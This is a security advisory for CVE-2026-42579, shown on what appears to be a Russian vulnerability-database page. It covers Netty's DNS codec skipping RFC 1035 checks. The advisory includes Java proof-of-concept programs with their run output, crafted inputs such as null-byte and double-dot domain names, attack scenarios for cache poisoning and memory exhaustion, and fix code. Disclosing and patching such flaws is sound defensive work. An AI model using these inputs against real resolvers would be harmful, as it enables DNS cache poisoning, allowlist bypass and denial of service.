GHSA-cm33-6792-r9fm

Опубликовано: 07 мая 2026

Источник: github

Github: Прошло ревью

CVSS3: 7.5

Описание

Netty has a DNS Codec Input Validation Bypass (Encoder + Decoder)

Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)

1. Vulnerability Summary

Field	Value
Product	Netty
Version	4.2.12.Final (and all prior versions with codec-dns)
Component	`io.netty.handler.codec.dns.DnsCodecUtil`
Vulnerability Type	CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption
Impact	DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets

2. Affected Components

Both the encoder and decoder in the same file are affected:

io.netty.handler.codec.dns.DnsCodecUtil — encodeDomainName() method (lines 31-51):
- No null byte validation in domain name labels
- No per-label length validation (RFC 1035 max: 63 bytes)
- No total domain name length validation (RFC 1035 max: 255 bytes)
- Empty labels silently truncate the domain name
io.netty.handler.codec.dns.DnsCodecUtil — decodeDomainName() method (lines 53-118):
- No per-label length validation (max 63)
- No total domain name length validation (max 255)
- Unbounded StringBuilder growth from attacker-controlled DNS responses

3. Vulnerability Description

Netty's DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder.

3.1 Encoder Side — Null Byte Injection (CWE-626)

A domain name containing a null byte (e.g., "evil\0.example.com") is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently:

Java (full string): sees "evil\0.example.com" as a single label containing a null
C/native DNS libraries: truncate at the null byte, seeing only "evil"
DNS servers: may accept or reject based on implementation

This differential interpretation enables DNS cache poisoning and domain validation bypass.

3.2 Encoder Side — Overlength Label (RFC 1035 Violation)

Labels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes 0xC8 (200) as the length. Per RFC 1035, values 192-255 indicate compression pointers. This means:

A 200-byte label length 0xC8 would be interpreted as a compression pointer by standards-compliant DNS parsers
This creates parser confusion between label and pointer interpretation

3.3 Encoder Side — Silent Truncation via Empty Labels

encodeDomainName("a..b.com", buf); // Encodes as: [01] 'a' [00] // Only "a." is encoded, ".b.com" is silently dropped!

An attacker can craft input like "safe-domain..evil.com" which gets truncated to just "safe-domain.", potentially bypassing domain allowlists.

3.4 Decoder Side — Unbounded Memory Allocation

The decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation.

Root Cause — Encoder

// DnsCodecUtil.java:31-51 static void encodeDomainName(String name, ByteBuf buf) { if (ROOT.equals(name)) { buf.writeByte(0); return; } final String[] labels = name.split("\\."); for (String label : labels) { final int labelLen = label.length(); if (labelLen == 0) { break; // NO ERROR - silently truncates! } // NO check: labelLen > 63 // NO check: label contains null bytes // NO check: total name > 255 bytes buf.writeByte(labelLen); // Can write values > 63! ByteBufUtil.writeAscii(buf, label); // Null bytes pass through! } buf.writeByte(0); }

Root Cause — Decoder

// DnsCodecUtil.java:94-99 (decodeDomainName) } else if (len != 0) { if (!in.isReadable(len)) { // Only checks if bytes EXIST, not if len <= 63 throw new CorruptedFrameException("truncated label in a name"); } name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF_8)).append('.'); // ^^^^^^ StringBuilder grows WITHOUT any length limit in.skipBytes(len); }

Missing checks in decoder:

No if (len > 63) check per RFC 1035 Section 2.3.4
No if (name.length() > 255) check for total domain name length

4. Exploitability Prerequisites

Encoder Side (outbound)

An application constructs DNS queries using Netty's DNS codec with user-influenced domain names
The constructed DNS packets are sent to DNS servers or resolvers

Decoder Side (inbound)

An application uses Netty's codec-dns or resolver-dns module to process DNS responses
The application communicates with a malicious or compromised DNS server

Attack surface: Any Netty application using DNS resolution (DnsNameResolver) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames.

5. Attack Scenarios

Scenario 1: DNS Cache Poisoning via Null Byte (Encoder)

String hostname = userInput; // "evil\0.trusted.com" DnsQuery query = new DefaultDnsQuery(...) .addRecord(DnsSection.QUESTION, new DefaultDnsQuestion(hostname, DnsRecordType.A));

The DNS query for "evil\0.trusted.com" may be interpreted by some resolvers as a query for "evil" (truncated at null). If the attacker controls the DNS for "evil", they can return a response that gets cached for "evil\0.trusted.com" (or vice versa), poisoning the cache.

Scenario 2: Label/Pointer Confusion (Encoder)

A 200-byte label writes length byte 0xC8. Standards-compliant parsers interpret 0xC0-0xFF as compression pointer prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous:

Byte: [C8] [61 61 61 ... (200 bytes)] ↑ Label interpretation: 200-byte label starting with 'a' Pointer interpretation: pointer to offset 0x0861 = 2145

Scenario 3: Memory Exhaustion via Large Labels (Decoder)

A malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation.

Scenario 4: Domain Truncation via Empty Label (Encoder)

encodeDomainName("safe-domain..evil.com", buf); // Only "safe-domain." is encoded, "evil.com" silently dropped

This can bypass domain allowlists that check the input string.

Scenario 5: Downstream Processing Failures (Decoder)

Applications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names > 255 bytes, as these systems typically assume RFC 1035 compliance.

6. Proof of Concept

PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java)

import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import java.lang.reflect.Method; import java.nio.charset.StandardCharsets; public class DnsEncoderNullBytePoC { public static void main(String[] args) throws Exception { System.out.println("=== Netty DNS Encoder Validation Bypass PoC ===\n"); Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil"); Method encode = clazz.getDeclaredMethod("encodeDomainName", String.class, ByteBuf.class); encode.setAccessible(true); // Test 1: Null byte in domain name ByteBuf buf = Unpooled.buffer(256); encode.invoke(null, "evil\0.example.com", buf); byte[] bytes = new byte[buf.readableBytes()]; buf.readBytes(bytes); buf.release(); System.out.print("[TEST 1] Null byte - Encoded: "); for (byte b : bytes) System.out.printf("%02x ", b & 0xff); System.out.println("\nVULNERABLE: Null byte 0x00 in label data!"); // Test 2: 200-byte label ByteBuf buf2 = Unpooled.buffer(512); encode.invoke(null, "a".repeat(200) + ".com", buf2); System.out.println("\n[TEST 2] 200-byte label encoded: " + buf2.readableBytes() + " bytes"); System.out.println("VULNERABLE: Overlength label accepted!"); buf2.release(); // Test 3: Empty label truncation ByteBuf buf3 = Unpooled.buffer(256); encode.invoke(null, "a..b.com", buf3); byte[] bytes3 = new byte[buf3.readableBytes()]; buf3.readBytes(bytes3); buf3.release(); System.out.print("\n[TEST 3] Empty label - Encoded: "); for (byte b : bytes3) System.out.printf("%02x ", b & 0xff); System.out.println("\nVULNERABLE: Domain silently truncated!"); } }

PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java)

import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import java.lang.reflect.Method; import java.nio.charset.StandardCharsets; public class DnsDecoderLengthPoC { public static void main(String[] args) throws Exception { System.out.println("=== Netty DNS Decoder Length Bypass PoC ===\n"); Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil"); Method decode = clazz.getDeclaredMethod("decodeDomainName", ByteBuf.class); decode.setAccessible(true); // Test 1: 100-byte label (RFC limit: 63) ByteBuf buf1 = Unpooled.buffer(256); buf1.writeByte(100); buf1.writeBytes("a".repeat(100).getBytes(StandardCharsets.US_ASCII)); buf1.writeByte(3); buf1.writeBytes("com".getBytes(StandardCharsets.US_ASCII)); buf1.writeByte(0); String r1 = (String) decode.invoke(null, buf1); buf1.release(); System.out.println("[TEST 1] 100-byte label: length=" + r1.length() + " VULNERABLE=" + (r1.length() > 64)); // Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255) ByteBuf buf2 = Unpooled.buffer(512); for (int i = 0; i < 5; i++) { buf2.writeByte(60); buf2.writeBytes(String.valueOf((char)('a'+i)).repeat(60) .getBytes(StandardCharsets.US_ASCII)); } buf2.writeByte(0); String r2 = (String) decode.invoke(null, buf2); buf2.release(); System.out.println("[TEST 2] 305-byte domain: length=" + r2.length() + " VULNERABLE=" + (r2.length() > 255)); } }

How to Compile and Run

JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \ | grep -v sources | grep -v javadoc | tr '\n' ':') # Encoder PoC javac -cp "$JARS" DnsEncoderNullBytePoC.java java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsEncoderNullBytePoC # Decoder PoC javac -cp "$JARS" DnsDecoderLengthPoC.java java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsDecoderLengthPoC

PoC Execution Output (Verified on Netty 4.2.12.Final)

Encoder PoC:

=== Netty DNS Encoder Validation Bypass PoC === [TEST 1] Null byte in domain name Input: "evil\0.example.com" Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00 Null byte in label data: true VULNERABLE: YES - Null byte accepted! [TEST 2] Label > 63 bytes in encoder Input: "aaaaaa..." (200-char label) Encoded bytes: 206 VULNERABLE: YES - Overlength label accepted in encoder! [TEST 3] Empty labels (consecutive dots) Input: "a..b.com" Encoded bytes: 01 61 00 Note: Empty label truncates the name (may lose data)

Decoder PoC:

=== Netty DNS Decoder Length Bypass PoC === [TEST 1] Label > 63 bytes (RFC 1035 violation) Label length: 100 bytes (RFC limit: 63) Decoded name length: 105 VULNERABLE: YES - Label > 63 bytes accepted! [TEST 2] Domain > 255 bytes via multiple labels 5 labels x 60 bytes = 300+ bytes total RFC 1035 limit: 255 bytes Decoded name length: 305 VULNERABLE: YES - Domain > 255 bytes accepted!

7. Impact Analysis

Impact Category	Description
Integrity	HIGH — Null byte injection causes differential interpretation across DNS implementations
Availability	HIGH — Malicious DNS responses can cause unbounded memory allocation via decoder
DNS Cache Poisoning	Different parsers see different domain names from the same encoded packet
Domain Validation Bypass	Null bytes can bypass allowlist/blocklist checks in DNS proxies
Label/Pointer Confusion	Length bytes > 63 conflict with RFC 1035 compression pointer encoding
Silent Truncation	Empty labels silently drop the remainder of the domain name
Downstream Failures	Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries

8. Remediation Recommendations

Fix for Encoder (encodeDomainName)

static void encodeDomainName(String name, ByteBuf buf) { if (ROOT.equals(name)) { buf.writeByte(0); return; } int totalLength = 0; final String[] labels = name.split("\\."); for (String label : labels) { final int labelLen = label.length(); if (labelLen == 0) { throw new IllegalArgumentException("DNS name contains empty label: " + name); } if (labelLen > 63) { throw new IllegalArgumentException( "DNS label length " + labelLen + " exceeds maximum of 63: " + name); } for (int i = 0; i < label.length(); i++) { if (label.charAt(i) == '\0') { throw new IllegalArgumentException( "DNS label contains null byte at index " + i); } } totalLength += 1 + labelLen; if (totalLength > 254) { throw new IllegalArgumentException( "DNS name exceeds maximum length of 255: " + name); } buf.writeByte(labelLen); ByteBufUtil.writeAscii(buf, label); } buf.writeByte(0); }

Fix for Decoder (decodeDomainName)

// Add after "} else if (len != 0) {": if (len > 63) { throw new CorruptedFrameException("DNS label length " + len + " exceeds maximum of 63"); } // Add after "name.append(...)": if (name.length() > 255) { throw new CorruptedFrameException("DNS domain name length exceeds maximum of 255"); }

9. Resources

Ссылки

Пакеты

Наименование

io.netty:netty-codec-dns

maven

Затронутые версииВерсия исправления

>= 4.2.0.Alpha1, <= 4.2.12.Final

4.2.13.Final

Наименование

io.netty:netty-codec-dns

maven

Затронутые версииВерсия исправления

<= 4.1.132.Final

4.1.133.Final

EPSS

Процентиль: 58%

0.00969

Низкий

7.5 High

CVSS3

CVE ID

CVE-2026-42579

Дефекты

CWE-20

CWE-400

CWE-626

Связанные уязвимости

CVE-2026-42579

CVSS3: 7.5

ubuntu

3 месяца назад

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty's DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

CVE-2026-42579

CVSS3: 7.5

redhat

3 месяца назад

CVE-2026-42579

CVSS3: 7.5

nvd

3 месяца назад

CVE-2026-42579

CVSS3: 7.5

debian

3 месяца назад

Netty is an asynchronous, event-driven network application framework. ...

BDU:2026-08933

CVSS3: 7.5

fstec

3 месяца назад

Уязвимость компонента io.netty.handler.codec.dns.DnsCodecUtil фреймворка для разработки сетевых приложений, серверов и клиентов протоколов Netty, позволяющая нарушителю вызвать отказ в обслуживании

EPSS

Процентиль: 58%

0.00969

Низкий

7.5 High

CVSS3

CVE ID

CVE-2026-42579

Дефекты

CWE-20

CWE-400

CWE-626